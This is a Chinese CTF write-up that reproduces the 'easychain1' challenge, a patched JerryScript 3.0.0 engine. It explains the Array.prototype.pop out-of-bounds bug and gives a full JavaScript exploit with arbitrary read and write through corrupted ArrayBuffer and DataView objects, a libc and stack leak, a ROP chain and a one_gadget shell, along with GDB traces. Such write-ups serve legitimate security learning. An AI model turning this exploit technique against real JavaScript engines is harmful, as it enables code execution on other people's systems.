easychain1 复现
1 2 3 4 5 6 7 8 9 10 11 # !/bin/sh qemu-system-x86_64 \ -m 512M \ -cpu kvm64,+smep,+smap \ -smp 4 \ -kernel ./vmlinux \ -append "console=ttyS0 nokaslr quiet" \ -initrd rootfs.img \ -monitor /dev/null \ -nographic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # !/bin/sh mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t debugfs none /sys/kernel/debug mount -t devtmpfs devtmpfs /dev mount -t tmpfs none /tmp mdev -s /etc/init.d/rcS ifconfig lo up echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" poweroff -d 120000 -f & setsid cttyhack setuidgid pwn /pwn poweroff -d 0 -f
没有加载驱动程序(和常规的 kernel 不太一样)
进入 kernel 后,程序会以 pwn 用户执行 pwn 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int n; int js; char buf[16 ]; char v7; __int64 v8[512 ]; while ( v8 != (__int64 *)&v7 ) ; v8[511 ] = __readfsqword(0x28 u); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); printf ("pwn> " ); n = read(0 , buf, 0x1000 uLL); js = open("./pwn.js" , 65 ); write(js, buf, n); system("./jerry ./pwn.js" ); return 0 ; }
往 pwn.js 输入 JavaScript 脚本,然后用 jerry 解释该脚本
jerryscript 是 JavaScript 轻量级引擎:(专门处理 JavaScript 脚本的虚拟机)
1 2 3 4 5 6 7 __assert_fail( "source_file_p->type == SOURCE_SCRIPT" ,"/home/david/github/jerryscript/jerry-main/main-desktop.c" ,0x94 u,"main" );printf ("Version: %d.%d.%d%s\n" , 3LL , 0LL , 0LL , " (0d496966)" );
Version: 3.0.0 (0d496966)
源代码地址如下:(Google 搜索 0d496966)
jerryscript 3.0.0 cve 参考:
漏洞分析
可能是魔改源码,可能是 cve,所以我们先 bindiff 一下
1 2 3 4 git clone https://gitee.com/mirrors/jerryscript.git cd jerryscript git reset --hard 0d496966 python tools/build.py --build-type=RelWithDebug --strip=off # 带有符号表
不过,如果安装成 DEBUG 版本,在调试的时候会遇到和 V8 一样的 DCHECK
,导致我们无法正常调试漏洞
这里,我们可以修改一下源码(jerryscript/jerry-core/jrt/jrt.h
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #define JERRY_ASSERT(x) \ do \ { \ if (JERRY_UNLIKELY (!(x))) \ { \ jerry_assert_fail (#x, __FILE__, __func__, __LINE__); \ } \ } while (0) #define JERRY_ASSERT(x) \ do \ { \ if (false) \ { \ JERRY_UNUSED (x); \ } \ } while (0)
将 DEBUG 版本下的 JERRY_ASSERT
替换成 RELEASE 版本的 JERRY_ASSERT
即可
这个东西折腾了我好久,先是题目解包错误,导致文件 jerry 少了 400KB,后是 bindiff 分析错误,我换了好几个版本的 bindiff 和 IDA,最后发现是中文路径的问题,干
bindiff 分析如下:
说实话这个有点难找,大概 20~30 个函数的相似度都比较接近(可能是编译的问题)
漏洞点在 ecma_builtin_array_prototype_object_pop
:(我在网上的 wp 上看的,要是硬要找还真的够呛)
调用 ecma_delete_fast_array_properties
的参数被修改了(a2-1 -> a2-2
)
由于原文件没有符号,所以直接用 bindiff 对照断点位置:
1 2 a5ae2: jerryx_print_value 710 ab: ecma_builtin_array_prototype_object_pop
在开始入侵之前要先了解一些 JavaScript 的知识
Array
Array 的结构体如下:(只挑出了 Array 会使用到的内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 typedef struct { ecma_object_descriptor_t type_flags_refs; jmem_cpointer_t gc_next_cp; union { jmem_cpointer_t property_list_cp; ... } u1; union { jmem_cpointer_t prototype_cp; ... } u2; } ecma_object_t ; typedef struct { ecma_object_t object; ... union { ... struct { uint32_t length; uint32_t length_prop_and_hole_count; } array ; } u; } ecma_extended_object_t ;
有几个属性值解释一下:
array->object.u1.property_list_cp
:数组的存储区域
array->object.u2.prototype_cp
:数组的原型所在位置
array->u.array.length
:数组的长度
我们来看一个具体的实例:
1 let a = [1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ]
在 GDB 中查看:
1 2 3 4 pwndbg> x/20 xg 0x555555624f30 0x555555624f30 : 0x0056005c00560014 0x000000ec00000008 0x555555624f40 : 0x0000002000000010 0x0000004000000030 0x555555624f50 : 0x0000006000000050 0x0000008000000070
property_list_cp
和 prototype_cp
的值分为 0x5c
和 0x56
,它们在取值的时候,会调用一个函数 jmem_decompress_pointer
进行转换
而 array 的寻址方式就是 jerry_globals_heap + array->u1.property_list_cp << 3
(其他的条目同理),通过这种方法,就能够减小内存开销(其实就有点像 shadow memory)
ArrayBuffer 和 DataView
ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区
ArrayBuffer 不能直接操作,而是要通过类型数组对象或 DataView 对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { ecma_extended_object_t extended_object; void *buffer_p; void *arraybuffer_user_p; } ecma_arraybuffer_pointer_t ; typedef struct { ecma_extended_object_t header; ecma_object_t *buffer_p; uint32_t byte_offset; } ecma_dataview_object_t ;
ArrayBuffer 和 DataView 这两个对象在 JavaScript 引擎漏洞挖掘中经常出现
这里,我们注意到:
ArrayBuffer 的结构体存在 buffer_p
这样的一个指针,它直接指向了 ArrayBuffer 所控制的内存区域(而不是像其他对象那样,通过偏移计算来得到所控制的内存区域)
DataView 的结构体中,buffer_p
则是指向 ArrayBuffer->buffer_p
Array Out-Of-Boundary(数组越界)
数组索引的边界检查是防止数组访问越界的有效手段,但是对数组索引的边界检查是比较耗时的,因此 JIT 引擎为了提高 Javascript 代码运行效率,对数组的边界检查在一定条件下进行了优化
Bound Check Optimize(边界检查优化)主要分为 Bound Check Elimination(绑定检查消除)和 Bound Check Hoist(绑定检查提升)两部分,错误的 Elimination 或者 Hoist 都会引发 Array Out-Of-Boundary (OOB) 漏洞
我们现在回到程序的漏洞点:
ecma_delete_fast_array_properties
的第二个参数改为 len - 2
如果 len
的值为 “1”,就会被减为 “-1”,发生符号溢出
案例如下:
1 2 3 a = [1 ]; a.pop(); print(a.length);
1 2 3 ➜ pwn ./jerry ./pwn2.js 4294967295 [1 ] 9011 segmentation fault ./jerry ./pwn2.js
参考:Chakra漏洞调试笔记4——Array OOB
入侵思路
完整的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function hex (i ) {return "0x" + i.toString(16 ).padStart(16 , '0' );}function aar (addr, dv1, dv2 ) { dv1.setBigUint64(0 , addr, true ); if (dv2.buffer){ return dv2.getBigUint64(0 , true ); } return 0 ; } function aaw (addr, value, dv1, dv2 ) { dv1.setBigUint64(0 , addr, true ); dv2.setBigUint64(0 , value, true ); } let a = [0x31 ];a1 = new ArrayBuffer (0x1000 ); d1 = new DataView (a1); d1.setUint32(0 , 0x41414141 , true ); a2 = new ArrayBuffer (0x1000 ); d2 = new DataView (a2); d2.setUint32(0 , 0x42424242 , true ); a.pop(); a[0x2c ] = 0x5562526 ; puts_got = Number (aar(0x555555621e08 , d1, d2)); libc_base = puts_got - 0x84420 ; environ = libc_base + 0x1ef600 ; stack = Number (aar(environ, d1, d2)); libc_start_main_ret = stack - 0x108 ; libc_start_main = Number (aar(libc_start_main_ret, d1, d2)); aaw(libc_start_main_ret, 0x555555554000 + 0xa9a9 , d1, d2); aaw(libc_start_main_ret + 8 , 0 , d1, d2); aaw(libc_start_main_ret + 16 , 0 , d1, d2); aaw(libc_start_main_ret + 24 , libc_base + 0xe3afe , d1, d2); print(hex(puts_got)); print(hex(libc_base)); print(hex(stack)); print(hex(libc_start_main)); print(hex(Number (aar(0x555555624000 , d1, d2))));
因为这些函数和变量都会改变堆布局,所以我直接调试 exp
在 ecma_builtin_array_prototype_object_pop
(710ab)打断点,然后使用 p/x $rdi+0x10
命令就可以把发生 OOB 的数组 a
给打印出来:
1 2 3 4 5 6 7 8 pwndbg> p/x $rdi+0x10 $1 = 0x555555624f80 pwndbg> x/20 xg 0x555555624f80 -0x10 0x555555624f70 : 0x005e0064005e0014 0x000000ecffffffff 0x555555624f80 : 0x0025000000c80038 0x0000000100200004 0x555555624f90 : 0x0000000000000000 0x42d5555558878200 0x555555624fa0 : 0x0025006e00620018 0x0000000100000012 0x555555624fb0 : 0x000003c300587d37 0x012f007200000343
property_list_cp
和 prototype_cp
的值分为 0x64
和 0x5e
然后在 jerryx_print_value
(a5ae2)打断点,执行到 print(a.length)
前停下,打印两个 DataView 对象的位置:
1 2 3 4 5 6 7 8 9 pwndbg> search -s AAAA [heap] 0x5555556257b0 0x41414141 pwndbg> search -t qword 0x5555556257b0 [heap] 0x555555625030 0x5555556257b0 pwndbg> search -s BBBB [heap] 0x5555556267b0 0x42424242 pwndbg> search -t qword 0x5555556267b0 [heap] 0x555555625260 0x5555556267b0
a1->buffer_p(0x5555556257b0):AAAA
d1->buffer_p(0x555555625030):0x5555556257b0
a2->buffer_p(0x5555556267b0):BBBB
d2->buffer_p(0x555555625260):0x5555556267b0
如果我们想利用 a
的溢出点,必须先知道 jerry_global_heap
才能计算 property_list_cp
,而源程序没有符号表,我们只能通过对比源程序和我们自己编译的程序来获取这个值:(不知道的偏移都可以利用这个方法来解决)
1 2 3 4 5 6 7 pwndbg> telescope 0x55555566a000 +0x17b0 00 :0000 │ 0x55555566b7b0 (jerry_global_heap+2896 ) ◂— 0x42424152 01 :0008 │ 0x55555566b7b8 (jerry_global_heap+2904 ) ◂— 0x0 pwndbg> telescope 0x55555566b7b0 -2896 00 :0000 │ 0x55555566ac60 (jerry_global_heap) ◂— 0x8e8 01 :0008 │ 0x55555566ac68 (jerry_global_heap+8 ) ◂— 0x20010800be0031 02 :0010 │ 0x55555566ac70 (jerry_global_heap+16 ) ◂— 0x100000066
1 2 3 4 5 6 7 pwndbg> telescope 0x555555624000 +0x17b0 00 :0000 │ 0x5555556257b0 ◂— 0x41414141 01 :0008 │ 0x5555556257b8 ◂— 0x0 pwndbg> telescope 0x5555556257b0 -2896 00 :0000 │ 0x555555624c60 ◂— 0x658 01 :0008 │ 0x555555624c68 ◂— 0x2000d500be0031 02 :0010 │ 0x555555624c70 ◂— 0x100000066
根据公式 jerry_globals_heap + array->u1.property_list_cp << 3
进行计算:
1 2 In [25 ]: hex(0x555555624c60 +(0x64 <<3 )) Out[25 ]: '0x555555624f80'
修改前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> telescope 0x555555624f80 00 :0000 │ 0x555555624f80 ◂— 0x8800000310 01 :0008 │ 0x555555624f88 ◂— 0x8800000088 ... ↓ 2 skipped 04 :0020 │ 0x555555624fa0 ◂— 0x25006e00620018 05 :0028 │ 0x555555624fa8 ◂— 0x100000012 06 :0030 │ 0x555555624fb0 ◂— 0x3c300587d37 07 :0038 │ 0x555555624fb8 ◂— 0x12f007200000343 08 :0040 │ 0x555555624fc0 ◂— 0x20000000680011 09 :0048 │ 0x555555624fc8 ◂— 0x100000040 0 a:0050 │ 0x555555624fd0 ◂— 0x10000078c8 0b :0058 │ 0x555555624fd8 ◂— 0x10a01a900000363 0 c:0060 │ 0x555555624fe0 ◂— 0xe40c292c0000002b 0 d:0068 │ 0x555555624fe8 ◂— 0x605040477616100 0 e:0070 │ 0x555555624ff0 ◂— 0x1c24b8a70000002b 0f :0078 │ 0x555555624ff8 ◂— 0x100f0e0e0d316101 10 :0080 │ 0x555555625000 ◂— 0x881d13e60000002b 11 :0088 │ 0x555555625008 ◂— 0x1c1b1a1a19316401 12 :0090 │ 0x555555625010 ◂— 0xb400b20074008b 13 :0098 │ 0x555555625018 ◂— 0xd300d000cd0076 14 :00 a0│ 0x555555625020 ◂— 0x6c0000006c0012 15 :00 a8│ 0x555555625028 ◂— 0x100000000319 16 :00b 0│ 0x555555625030 —▸ 0x5555556257b0 ◂— 0x41414141 17 :00b 8│ 0x555555625038 ◂— 0x0
修改后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> telescope 0x555555624f80 00 :0000 │ 0x555555624f80 ◂— 0x25000000c80018 01 :0008 │ 0x555555624f88 ◂— 0x100200004 02 :0010 │ 0x555555624f90 ◂— 0x0 03 :0018 │ 0x555555624f98 —▸ 0x5555556253b8 —▸ 0x555555625168 —▸ 0x5555556253b0 —▸ 0x5555556253c0 ◂— ...04 :0020 │ 0x555555624fa0 ◂— 0x25006e00620018 05 :0028 │ 0x555555624fa8 ◂— 0x100000012 06 :0030 │ 0x555555624fb0 ◂— 0x3c300587d37 07 :0038 │ 0x555555624fb8 ◂— 0x12f007200000343 08 :0040 │ 0x555555624fc0 ◂— 0x20000000680011 09 :0048 │ 0x555555624fc8 ◂— 0x100000040 0 a:0050 │ 0x555555624fd0 ◂— 0x10000078c8 0b :0058 │ 0x555555624fd8 ◂— 0x10a01a900000363 0 c:0060 │ 0x555555624fe0 ◂— 0xe40c292c0000002b 0 d:0068 │ 0x555555624fe8 ◂— 0x605040477616100 0 e:0070 │ 0x555555624ff0 ◂— 0x1c24b8a70000002b 0f :0078 │ 0x555555624ff8 ◂— 0x100f0e0e0d316101 10 :0080 │ 0x555555625000 ◂— 0x881d13e60000002b 11 :0088 │ 0x555555625008 ◂— 0x1c1b1a1a19316401 12 :0090 │ 0x555555625010 ◂— 0xb400b20074008b 13 :0098 │ 0x555555625018 ◂— 0xd300d000cd0076 14 :00 a0│ 0x555555625020 ◂— 0x6c0000006c0012 15 :00 a8│ 0x555555625028 ◂— 0x100000000319 16 :00b 0│ 0x555555625030 —▸ 0x555555625260 —▸ 0x7fffffffde60 —▸ 0x7ffff7ea2afe (execvpe+638 ) ◂— mov rdx, r1217 :00b 8│ 0x555555625038 ◂— 0x0
这个 a[0x2c]
对应的地址就是 0x555555625030
:
1 2 pwndbg> telescope 0x555555624f80 +0x4 *0x2c 00 :0000 │ 0x555555625030 —▸ 0x555555625260 —▸ 0x7fffffffde60 —▸ 0x7ffff7ea2afe (execvpe+638 ) ◂— mov rdx, r12
0x5555556257b0
(a1->buffer_p
)被修改为了 0x555555625260
(d2->buffer_p
)
这下 a1->buffer_p
和 a2->buffer_p
都指向 d2->buffer_p
,就可以实现 WAA 和 RAA 了
最后的问题就是 WAA 和 RAA 的实现:
1 2 3 4 5 6 7 8 9 10 11 function aar (addr, dv1, dv2 ) { dv1.setBigUint64(0 , addr, true ); if (dv2.buffer){ return dv2.getBigUint64(0 , true ); } return 0 ; } function aaw (addr, value, dv1, dv2 ) { dv1.setBigUint64(0 , addr, true ); dv2.setBigUint64(0 , value, true ); }
最后就是用 WWR 从 environ
中读出栈地址,然后在 libc_start_main
的返回值上构造 ROP 链,最后执行 one_gadget
PS:在交互时需要把 \n
去掉,还有注释也要去掉
小结:
调了好多天终于弄好了,现在对这种 JavaScript 引擎的题目应该是有所了解了,主要就是靠 ArrayBuffer 和 DataView 这两个函数